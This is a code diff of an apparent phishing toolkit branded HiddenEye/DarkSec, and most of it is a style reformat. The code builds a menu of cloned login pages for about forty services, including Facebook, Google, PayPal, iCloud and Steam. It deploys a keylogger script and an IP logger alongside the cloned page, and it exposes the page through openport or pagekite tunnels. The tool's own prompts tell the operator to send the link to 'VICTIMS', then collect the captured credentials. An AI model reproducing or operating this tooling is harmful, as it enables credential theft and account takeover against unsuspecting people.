{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
.format(default_palette[0], default_palette[2]))
print("{0}error[invalid/preoccupied]{0}".format(default_palette[0]))
start_localtunnel(port, npm)
def start_openport(port):
run_command('clear')
run_command("clear")
def manage_url(port):
run_command('rm output.txt > /dev/null 2>&1')
run_command('openport -K && openport %s > output.txt &' % (port))
print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0],
default_palette[4]))
wait(20) # Sleep time is important as the openport command takes some time to give response link.
run_command("rm output.txt > /dev/null 2>&1")
run_command("openport -K && openport %s > output.txt &" % (port))
print(
"{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait."
.format(default_palette[0], default_palette[4]))
# Sleep time is important as the openport command takes some time to give response link.
wait(20)
run_command(
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above).
print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0],
default_palette[4]))
with open('openport.txt') as f:
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
) # Taking out the neccesary verification link from output txt file of openport (above).
print(
"{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link..."
.format(default_palette[0], default_palette[4]))
with open("openport.txt") as f:
read_data = f.read()
if 'openport.io/l/' in read_data:
print('{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4]))
if "openport.io/l/" in read_data:
print("{0}[{1}*{0}] {1}Got Activation Link...".format(
default_palette[0], default_palette[4]))
else:
print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0],
default_palette[4]))
output = open('output.txt', 'r')
print(
"{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... "
.format(default_palette[0], default_palette[4]))
output = open("output.txt", "r")
output = output.read()
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output))
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
default_palette[4]))
print("{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format(
default_palette[0], default_palette[4], output))
input("\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)".
format(default_palette[0], default_palette[4]))
server_selection(port)
urlFile = open('openport.txt', 'r')
urlFile = open("openport.txt", "r")
urltoverify = urlFile.read().strip()
print(
'{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n'.format(default_palette[0],
default_palette[4]))
print('{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} '.format(default_palette[0], default_palette[4],
urltoverify))
url = input('\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} '.format(default_palette[0],
default_palette[4]))
"{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n"
.format(default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format(
default_palette[0], default_palette[4], urltoverify))
url = input(
"\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ".
format(default_palette[0], default_palette[4]))
wait(4)
run_command('clear')
print('''
run_command("clear")
print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[4]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
.format(default_palette[0], default_palette[4]))
print(
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n".format(
default_palette[0], default_palette[4], default_palette[3], port, url))
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n"
.format(default_palette[0], default_palette[4], default_palette[3],
port, url))
print('''{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
print("""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
if 256 == run_command('which openport > /dev/null'):
run_command('clear')
print('[*] Openport not Installed correctly, Try installing it manually !!')
print('[*] Check Here ... https://openport.io/download')
input('\n Press Enter To Go back..')
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
.format(default_palette[0], default_palette[2]))
if 256 == run_command("which openport > /dev/null"):
run_command("clear")
print(
"[*] Openport not Installed correctly, Try installing it manually !!"
)
print("[*] Check Here ... https://openport.io/download")
input("\n Press Enter To Go back..")
server_selection(port)
else:
manage_url(port)
@ -550,22 +527,24 @@ def start_openport(port):
def start_pagekite(port):
from Defs.ActionManager.simple_informant import credentials_collector
run_command('clear')
print('''
run_command("clear")
print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
if 256 == run_command('which python2 > /dev/null'):
print('[*] Python2 not Installed, Pagekite Only Supports Python2!!')
input('\n Press Enter To Try installing Python2 Now..')
run_command('apt install python2')
if 256 == run_command('which python2 > /dev/null'):
run_command('clear')
print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0],
default_palette[4]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------"""
.format(default_palette[0], default_palette[2]))
if 256 == run_command("which python2 > /dev/null"):
print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
input("\n Press Enter To Try installing Python2 Now..")
run_command("apt install python2")
if 256 == run_command("which python2 > /dev/null"):
run_command("clear")
print(
"\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}"
.format(default_palette[0], default_palette[4]))
wait(2)
server_selection(port)
else:
@ -573,21 +552,28 @@ def start_pagekite(port):
else:
try:
subdomain = input(
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}".format(
default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}".format(default_palette[0],
default_palette[4]))
print("{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}".format(
default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}".format(
default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}".format(
default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}".format(
default_palette[0], default_palette[4]))
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0],
default_palette[4]))
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}"
.format(default_palette[0], default_palette[2]))
print(
"\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}"
.format(default_palette[0], default_palette[4]))
print(
"{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}"
.format(default_palette[0], default_palette[4]))
print(
"{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}"
.format(default_palette[0], default_palette[4]))
print(
"{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}"
.format(default_palette[0], default_palette[4]))
print(
"{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}"
.format(default_palette[0], default_palette[4]))
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".
format(default_palette[0], default_palette[4]))
run_command(
"python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me"
.format(port, subdomain))
except KeyboardInterrupt:
print('[!] Please Copy the Generated Link For Further Use')
print("[!] Please Copy the Generated Link For Further Use")
credentials_collector(port)

View File

@ -4,20 +4,27 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import time
from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove
import Defs.ActionManager.simple_informant as simple_informant
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import mkdir
from Defs.ImportManager.unsorted_will_be_replaced import path
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import remove
from Defs.ImportManager.unsorted_will_be_replaced import rmtree
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
from Defs.ImportManager.unsorted_will_be_replaced import webpage_set
from Defs.LocalizationManager.helper import print_sorted_as_menu
import os
import time
module_loading_message = simple_informant.module_loading_message
def start_main_menu():
run_command('clear')
run_command("clear")
print(global_localization.hidden_eye_logo)
print(localization.lang_start_main_menu["version_by_darksec"])
print(localization.lang_start_main_menu["short_description"])
@ -25,406 +32,417 @@ def start_main_menu():
print(localization.lang_start_main_menu["down_line"])
print(localization.lang_start_main_menu["attack_vector_message"])
print(localization.lang_start_main_menu["phishing_modules_header"])
#phishing_col_width = max(len(word) for row in phishing_modules_list for word in row) + 2
#for row in phishing_modules_list:
#print("".join(word.ljust(phishing_col_width) for word in row).format(default_palette[0], default_palette[2]))
print_sorted_as_menu(localization.lang_start_main_menu["phishing_modules_list"])
print_sorted_as_menu(
localization.lang_start_main_menu["phishing_modules_list"])
print(localization.lang_start_main_menu["additional_modules"])
#additional_col_width = max(len(word) for row in additional_modules_list for word in row) + 2
#for row in additional_modules_list:
#print("".join(word.ljust(additional_col_width) for word in row).format(default_palette[0], default_palette[2]))
print_sorted_as_menu(localization.lang_start_main_menu["additional_modules_list"])
print_sorted_as_menu(
localization.lang_start_main_menu["additional_modules_list"])
option = input(global_localization.input_line)
option = option.zfill(2)
if option == '01':
module_loading_message('Facebook')
#customOption = input("\nOperation mode:\n {0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
if option == "01":
module_loading_message("Facebook")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["facebook_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page('Facebook', customOption)
elif option == '02':
module_loading_message('Google')
print_sorted_as_menu(
localization.lang_start_main_menu["facebook_operation_modes"])
custom_option = input(global_localization.input_line)
start_phishing_page("Facebook", custom_option)
elif option == "02":
module_loading_message("Google")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["google_operation_modes"])
#customOption = input(
#\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
customOption = input(global_localization.input_line)
start_phishing_page('Google', customOption)
elif option == '03':
module_loading_message('LinkedIn')
customOption = ''
start_phishing_page('LinkedIn', customOption)
elif option == '04':
module_loading_message('GitHub')
customOption = ''
start_phishing_page('GitHub', customOption)
elif option == '05':
module_loading_message('StackOverflow')
customOption = ''
start_phishing_page('StackOverflow', customOption)
elif option == '06':
module_loading_message('WordPress')
customOption = ''
start_phishing_page('WordPress', customOption)
elif option == '07':
module_loading_message('Twitter')
customOption = ''
start_phishing_page('Twitter', customOption)
elif option == '08':
module_loading_message('Instagram')
#customOption = input("\nOperation mode:\n n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
print_sorted_as_menu(
localization.lang_start_main_menu["google_operation_modes"])
custom_option = input(global_localization.input_line)
start_phishing_page("Google", custom_option)
elif option == "03":
module_loading_message("LinkedIn")
custom_option = ""
start_phishing_page("LinkedIn", custom_option)
elif option == "04":
module_loading_message("GitHub")
custom_option = ""
start_phishing_page("GitHub", custom_option)
elif option == "05":
module_loading_message("StackOverflow")
custom_option = ""
start_phishing_page("StackOverflow", custom_option)
elif option == "06":
module_loading_message("WordPress")
custom_option = ""
start_phishing_page("WordPress", custom_option)
elif option == "07":
module_loading_message("Twitter")
custom_option = ""
start_phishing_page("Twitter", custom_option)
elif option == "08":
module_loading_message("Instagram")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["instagram_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page('Instagram', customOption)
elif option == '09':
module_loading_message('Snapchat')
customOption = ''
start_phishing_page('Snapchat', customOption)
elif option == '10':
module_loading_message('Yahoo')
customOption = ''
start_phishing_page('Yahoo', customOption)
elif option == '11':
module_loading_message('Twitch')
customOption = ''
start_phishing_page('Twitch', customOption)
elif option == '12':
module_loading_message('Microsoft')
customOption = ''
start_phishing_page('Microsoft', customOption)
elif option == '13':
module_loading_message('Steam')
customOption = ''
start_phishing_page('Steam', customOption)
elif option == '14':
module_loading_message('VK')
#customOption = input(
# "\nOperation mode:\n
print_sorted_as_menu(
localization.lang_start_main_menu["instagram_operation_modes"])
custom_option = input(global_localization.input_line)
start_phishing_page("Instagram", custom_option)
elif option == "09":
module_loading_message("Snapchat")
custom_option = ""
start_phishing_page("Snapchat", custom_option)
elif option == "10":
module_loading_message("Yahoo")
custom_option = ""
start_phishing_page("Yahoo", custom_option)
elif option == "11":
module_loading_message("Twitch")
custom_option = ""
start_phishing_page("Twitch", custom_option)
elif option == "12":
module_loading_message("Microsoft")
custom_option = ""
start_phishing_page("Microsoft", custom_option)
elif option == "13":
module_loading_message("Steam")
custom_option = ""
start_phishing_page("Steam", custom_option)
elif option == "14":
module_loading_message("VK")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["VK_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page('VK', customOption)
elif option == '15':
module_loading_message('iCloud')
customOption = ''
start_phishing_page('iCloud', customOption)
elif option == '16':
module_loading_message('GitLab')
customOption = ''
start_phishing_page('GitLab', customOption)
elif option == '17':
module_loading_message('NetFlix')
customOption = ''
start_phishing_page('NetFlix', customOption)
elif option == '18':
module_loading_message('Origin')
customOption = ''
start_phishing_page('Origin', customOption)
elif option == '19':
module_loading_message('Pinterest')
customOption = ''
start_phishing_page('Pinterest', customOption)
elif option == '20':
module_loading_message('ProtonMail')
customOption = ''
start_phishing_page('ProtonMail', customOption)
elif option == '21':
module_loading_message('Spotify')
customOption = ''
start_phishing_page('Spotify', customOption)
elif option == '22':
module_loading_message('Quora')
customOption = ''
start_phishing_page('Quora', customOption)
elif option == '23':
module_loading_message('PornHub')
customOption = ''
start_phishing_page('PornHub', customOption)
elif option == '24':
module_loading_message('Adobe')
customOption = ''
start_phishing_page('Adobe', customOption)
elif option == '25':
module_loading_message('Badoo')
customOption = ''
start_phishing_page('Badoo', customOption)
elif option == '26':
module_loading_message('CryptoCurrency')
customOption = ''
start_phishing_page('CryptoCurrency', customOption)
elif option == '27':
module_loading_message('DevianArt')
customOption = ''
start_phishing_page('DevianArt', customOption)
elif option == '28':
module_loading_message('DropBox')
customOption = ''
start_phishing_page('DropBox', customOption)
elif option == '29':
module_loading_message('eBay')
customOption = ''
start_phishing_page('eBay', customOption)
elif option == '30':
module_loading_message('MySpace')
customOption = ''
start_phishing_page('Myspace', customOption)
elif option == '31':
module_loading_message('PayPal')
customOption = ''
start_phishing_page('PayPal', customOption)
elif option == '32':
module_loading_message('Shopify')
customOption = ''
start_phishing_page('Shopify', customOption)
elif option == '33':
module_loading_message('Verizon')
customOption = ''
start_phishing_page('Verizon', customOption)
elif option == '34':
module_loading_message('Yandex')
customOption = ''
start_phishing_page('Yandex', customOption)
elif option == '35':
module_loading_message('Reddit')
#customOption = input(
# "\nOperation mode:\nHiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
print_sorted_as_menu(
localization.lang_start_main_menu["VK_operation_modes"])
custom_option = input(global_localization.input_line)
start_phishing_page("VK", custom_option)
elif option == "15":
module_loading_message("iCloud")
custom_option = ""
start_phishing_page("iCloud", custom_option)
elif option == "16":
module_loading_message("GitLab")
custom_option = ""
start_phishing_page("GitLab", custom_option)
elif option == "17":
module_loading_message("NetFlix")
custom_option = ""
start_phishing_page("NetFlix", custom_option)
elif option == "18":
module_loading_message("Origin")
custom_option = ""
start_phishing_page("Origin", custom_option)
elif option == "19":
module_loading_message("Pinterest")
custom_option = ""
start_phishing_page("Pinterest", custom_option)
elif option == "20":
module_loading_message("ProtonMail")
custom_option = ""
start_phishing_page("ProtonMail", custom_option)
elif option == "21":
module_loading_message("Spotify")
custom_option = ""
start_phishing_page("Spotify", custom_option)
elif option == "22":
module_loading_message("Quora")
custom_option = ""
start_phishing_page("Quora", custom_option)
elif option == "23":
module_loading_message("PornHub")
custom_option = ""
start_phishing_page("PornHub", custom_option)
elif option == "24":
module_loading_message("Adobe")
custom_option = ""
start_phishing_page("Adobe", custom_option)
elif option == "25":
module_loading_message("Badoo")
custom_option = ""
start_phishing_page("Badoo", custom_option)
elif option == "26":
module_loading_message("CryptoCurrency")
custom_option = ""
start_phishing_page("CryptoCurrency", custom_option)
elif option == "27":
module_loading_message("DevianArt")
custom_option = ""
start_phishing_page("DevianArt", custom_option)
elif option == "28":
module_loading_message("DropBox")
custom_option = ""
start_phishing_page("DropBox", custom_option)
elif option == "29":
module_loading_message("eBay")
custom_option = ""
start_phishing_page("eBay", custom_option)
elif option == "30":
module_loading_message("MySpace")
custom_option = ""
start_phishing_page("Myspace", custom_option)
elif option == "31":
module_loading_message("PayPal")
custom_option = ""
start_phishing_page("PayPal", custom_option)
elif option == "32":
module_loading_message("Shopify")
custom_option = ""
start_phishing_page("Shopify", custom_option)
elif option == "33":
module_loading_message("Verizon")
custom_option = ""
start_phishing_page("Verizon", custom_option)
elif option == "34":
module_loading_message("Yandex")
custom_option = ""
start_phishing_page("Yandex", custom_option)
elif option == "35":
module_loading_message("Reddit")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["reddit_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page('Reddit', customOption)
elif option == '36':
module_loading_message('Subitoit')
customOption = ''
start_phishing_page('Subitoit', customOption)
elif option == '37':
module_loading_message('PlayStation')
customOption = ''
start_phishing_page('PlayStation', customOption)
elif option == '38':
module_loading_message('Xbox')
customOption = ''
start_phishing_page('Xbox', customOption)
elif option == '39':
module_loading_message('CUSTOM(1)')
customOption = ''
start_phishing_page('CUSTOM(1)', customOption)
elif option == '40':
module_loading_message('CUSTOM(2)')
customOption = ''
start_phishing_page('CUSTOM(2)', customOption)
#Below Are Tools And Above Are Phishing Modules..
print_sorted_as_menu(
localization.lang_start_main_menu["reddit_operation_modes"])
custom_option = input(global_localization.input_line)
start_phishing_page("Reddit", custom_option)
elif option == "36":
module_loading_message("Subitoit")
custom_option = ""
start_phishing_page("Subitoit", custom_option)
elif option == "37":
module_loading_message("PlayStation")
custom_option = ""
start_phishing_page("PlayStation", custom_option)
elif option == "38":
module_loading_message("Xbox")
custom_option = ""
start_phishing_page("Xbox", custom_option)
elif option == "39":
module_loading_message("CUSTOM(1)")
custom_option = ""
start_phishing_page("CUSTOM(1)", custom_option)
elif option == "40":
module_loading_message("CUSTOM(2)")
custom_option = ""
start_phishing_page("CUSTOM(2)", custom_option)
"""PHISHING MODULES BELOW"""
elif option == '0A':
module_loading_message('LOCATION')
#customOption = input(
# "\nOperation mode:\n \n\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
elif option == "0A":
module_loading_message("LOCATION")
print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["additional_module_location_operation_modes"])
customOption = input(global_localization.input_line)
start_phishing_page('LOCATION', customOption)
print_sorted_as_menu(
localization.
lang_start_main_menu["additional_module_location_operation_modes"])
custom_option = input(global_localization.input_line)
start_phishing_page("LOCATION", custom_option)
else:
start_main_menu()
def start_phishing_page(page, custom_option): # Phishing pages selection menu
#chmod('Server', 777)
run_command(['chmod', '-R', '777', 'Server'])
run_command(["chmod", "-R", "777", "Server"])
rmtree("Server/www", onerror=simple_informant.remove_readonly)
mkdir('Server/www')
#chmod('Server/www', 777)
pathlib_Path('Server/www/usernames.txt').touch()
pathlib_Path('Server/www/ip.txt').touch()
copyfile('WebPages/ip.php', 'Server/www/ip.php')
copyfile('WebPages/KeyloggerData.txt','Server/www/KeyloggerData.txt')
copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js')
copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php')
mkdir("Server/www")
pathlib_Path("Server/www/usernames.txt").touch()
pathlib_Path("Server/www/ip.txt").touch()
copyfile("WebPages/ip.php", "Server/www/ip.php")
copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt")
copyfile("WebPages/keylogger.js", "Server/www/keylogger.js")
copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
try:
remove('link.url')
except:
remove("link.url")
except FileNotFoundError:
pass
if custom_option == '1' and page == 'Facebook':
if custom_option == "1" and page == "Facebook":
webpage_set("WebPages/fb_standard/", "Server/www/")
elif custom_option == '2' and page == 'Facebook':
elif custom_option == "2" and page == "Facebook":
webpage_set("WebPages/fb_advanced_poll/", "Server/www/")
elif custom_option == '3' and page == 'Facebook':
elif custom_option == "3" and page == "Facebook":
webpage_set("WebPages/fb_security_fake/", "Server/www/")
elif custom_option == '4' and page == 'Facebook':
elif custom_option == "4" and page == "Facebook":
webpage_set("WebPages/fb_messenger/", "Server/www/")
elif custom_option == '1' and page == 'Google':
elif custom_option == "1" and page == "Google":
webpage_set("WebPages/google_standard/", "Server/www/")
elif custom_option == '2' and page == 'Google':
elif custom_option == "2" and page == "Google":
webpage_set("WebPages/google_advanced_poll/", "Server/www/")
elif custom_option == '3' and page == 'Google':
elif custom_option == "3" and page == "Google":
webpage_set("WebPages/google_advanced_web/", "Server/www/")
elif page == 'LinkedIn':
elif page == "LinkedIn":
webpage_set("WebPages/linkedin/", "Server/www/")
elif page == 'GitHub':
elif page == "GitHub":
webpage_set("WebPages/GitHub/", "Server/www/")
elif page == 'StackOverflow':
elif page == "StackOverflow":
webpage_set("WebPages/stackoverflow/", "Server/www/")
elif page == 'WordPress':
elif page == "WordPress":
webpage_set("WebPages/wordpress/", "Server/www/")
elif page == 'Twitter':
elif page == "Twitter":
webpage_set("WebPages/twitter/", "Server/www/")
elif page == 'Snapchat':
elif page == "Snapchat":
webpage_set("WebPages/Snapchat_web/", "Server/www/")
elif page == 'Yahoo':
elif page == "Yahoo":
webpage_set("WebPages/yahoo_web/", "Server/www/")
elif page == 'Twitch':
elif page == "Twitch":
webpage_set("WebPages/twitch/", "Server/www/")
elif page == 'Microsoft':
elif page == "Microsoft":
webpage_set("WebPages/live_web/", "Server/www/")
elif page == 'Steam':
elif page == "Steam":
webpage_set("WebPages/steam/", "Server/www/")
elif page == 'iCloud':
elif page == "iCloud":
webpage_set("WebPages/iCloud/", "Server/www/")
elif custom_option == '1' and page == 'Instagram':
elif custom_option == "1" and page == "Instagram":
webpage_set("WebPages/Instagram_web/", "Server/www/")
elif custom_option == '2' and page == 'Instagram':
elif custom_option == "2" and page == "Instagram":
webpage_set("WebPages/Instagram_autoliker/", "Server/www/")
elif custom_option == '3' and page == 'Instagram':
elif custom_option == "3" and page == "Instagram":
webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/")
elif custom_option == '4' and page == 'Instagram':
elif custom_option == "4" and page == "Instagram":
webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/")
elif custom_option == '5' and page == 'Instagram':
elif custom_option == "5" and page == "Instagram":
webpage_set("WebPages/instafollowers/", "Server/www/")
elif custom_option == '1' and page == 'VK':
elif custom_option == "1" and page == "VK":
webpage_set("WebPages/VK/", "Server/www/")
elif custom_option == '2' and page == 'VK':
elif custom_option == "2" and page == "VK":
webpage_set("WebPages/VK_poll_method/", "Server/www/")
elif page == 'GitLab':
elif page == "GitLab":
webpage_set("WebPages/gitlab/", "Server/www/")
elif page == 'NetFlix':
elif page == "NetFlix":
webpage_set("WebPages/netflix/", "Server/www/")
elif page == 'Origin':
elif page == "Origin":
webpage_set("WebPages/origin/", "Server/www/")
elif page == 'Pinterest':
elif page == "Pinterest":
webpage_set("WebPages/pinterest/", "Server/www/")
elif page == 'ProtonMail':
elif page == "ProtonMail":
webpage_set("WebPages/protonmail/", "Server/www/")
elif page == 'Spotify':
elif page == "Spotify":
webpage_set("WebPages/spotify/", "Server/www/")
elif page == 'Quora':
elif page == "Quora":
webpage_set("WebPages/quora/", "Server/www/")
elif page == 'PornHub':
elif page == "PornHub":
webpage_set("WebPages/pornhub/", "Server/www/")
elif page == 'Adobe':
elif page == "Adobe":
webpage_set("WebPages/adobe/", "Server/www/")
elif page == 'Badoo':
elif page == "Badoo":
webpage_set("WebPages/badoo/", "Server/www/")
elif page == 'CryptoCurrency':
elif page == "CryptoCurrency":
webpage_set("WebPages/cryptocurrency/", "Server/www/")
elif page == 'DevianArt':
elif page == "DevianArt":
webpage_set("WebPages/devianart/", "Server/www/")
elif page == 'DropBox':
elif page == "DropBox":
webpage_set("WebPages/dropbox/", "Server/www/")
elif page == 'eBay':
elif page == "eBay":
webpage_set("WebPages/ebay/", "Server/www/")
elif page == 'Myspace':
elif page == "Myspace":
webpage_set("WebPages/myspace/", "Server/www/")
elif page == 'PayPal':
elif page == "PayPal":
webpage_set("WebPages/paypal/", "Server/www/")
elif page == 'Shopify':
elif page == "Shopify":
webpage_set("WebPages/shopify/", "Server/www/")
elif page == 'Verizon':
elif page == "Verizon":
webpage_set("WebPages/verizon/", "Server/www/")
elif page == 'Yandex':
elif page == "Yandex":
webpage_set("WebPages/yandex/", "Server/www/")
elif custom_option == '1' and page == 'Reddit':
elif custom_option == "1" and page == "Reddit":
webpage_set("WebPages/Reddit/", "Server/www/")
elif custom_option == '2' and page == 'Reddit':
elif custom_option == "2" and page == "Reddit":
webpage_set("WebPages/Reddit-old/", "Server/www/")
elif page == 'Subitoit':
elif page == "Subitoit":
webpage_set("WebPages/subitoit/", "Server/www/")
elif page == 'PlayStation':
webpage_set('WebPages/playstation/', "Server/www/")
elif page == 'Xbox':
webpage_set('WebPages/xbox/', "Server/www/")
elif page == 'CUSTOM(1)':
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page))
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page))
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
elif page == "PlayStation":
webpage_set("WebPages/playstation/", "Server/www/")
elif page == "Xbox":
webpage_set("WebPages/xbox/", "Server/www/")
elif page == "CUSTOM(1)":
print(localization.lang_start_phishing_page["custom_folder_directory"].
format(page=page))
print(
localization.lang_start_phishing_page["manual_reading_suggestion"].
format(page=page))
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
print(localization.lang_start_phishing_page["copying_your_files"])
wait(3)
webpage_set('WebPages/CUSTOM(1)/', "Server/www/")
elif page == 'CUSTOM(2)':
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page))
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page))
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
webpage_set("WebPages/CUSTOM(1)/", "Server/www/")
elif page == "CUSTOM(2)":
print(localization.lang_start_phishing_page["custom_folder_directory"].
format(page=page))
print(
localization.lang_start_phishing_page["manual_reading_suggestion"].
format(page=page))
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
print(localization.lang_start_phishing_page["copying_your_files"])
wait(3)
webpage_set('WebPages/CUSTOM(2)/', "Server/www/")
webpage_set("WebPages/CUSTOM(2)/", "Server/www/")
# Tools Below && Phishing Pages Above
elif custom_option == '1' and page == 'LOCATION':
elif custom_option == "1" and page == "LOCATION":
wait(3)
webpage_set('WebPages/TOOLS/nearyou', "Server/www/")
webpage_set("WebPages/TOOLS/nearyou", "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"])
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
elif custom_option == '2' and page == 'LOCATION':
input(localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"])
elif custom_option == "2" and page == "LOCATION":
wait(3)
